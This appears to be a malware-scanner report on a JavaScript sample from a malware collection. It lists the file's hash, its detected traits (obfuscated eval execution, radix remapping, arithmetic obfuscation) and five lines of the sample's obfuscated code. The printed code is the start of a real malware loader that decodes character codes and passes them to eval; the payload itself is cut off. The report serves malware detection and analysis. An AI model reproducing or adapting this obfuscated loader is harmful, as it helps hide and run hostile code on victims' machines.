Suspicious ^80% javascript-malware-collection Download

20151209_803b5dbded887506d53e2f4809caccdb.js

obfuscated eval execution

parseInt toString radix remapObfuscated increment/decrement via arithmetic

SHA-256693b2a94181b240fe02fe7edc6ae38705b41c716df5d05913fafda31c1cf7dff

Evidence

Obfuscated increment/decrement via arithmetic lines 1–5

1var UjpDiqfZoUWyv=[];for(PtLffLh=(-291+291)/249;PtLffLh<(36945+47)/289;PtLffLh++){UjpDiqfZoUWyv[PtLffLh]=String.fromCharCode(PtLffLh)}function xtlMP(lcVPgvsMFya,jxqYbbJLFbLPy,ZLdGcZIQ){bXvI=parseInt(lcVPgvsMFya,jxqYbbJLFbLPy);Tawlu=bXvI.toString(ZLdGcZIQ);return Tawlu;}function SanBEdQdyywBlMg(PqmgEEVJiDkaHEgoX){eval(PqmgEEVJiDkaHEgoX)}
2function xthmAUhynvaCAhyXFkHzVlIqOdMMqphiYKBfeUQPvlAHeOzATpUUBD(KMsyYCdXWGvII,MkYqlFGmPTeSjs){ return UjpDiqfZoUWyv[xtlMP(KMsyYCdXWGvII[MkYqlFGmPTeSjs],(-156+686)/53,(968+762)/173)];}
3function OiOpOcN(ytXTbkRgvqskMaShSQfxrQelRTMunHgklthZ) {return !isNaN(parseFloat(ytXTbkRgvqskMaShSQfxrQelRTMunHgklthZ)) && isFinite(ytXTbkRgvqskMaShSQfxrQelRTMunHgklthZ);}
4function dTWdXcRRCDy(mOEXGlos,gqhHBn){return mOEXGlos.split(gqhHBn)}
5var B=[];B.push("13");B.push("10");B.push("13");B.push("10");B.push("118");B.push("97");B.push("114");B.push("32");B. …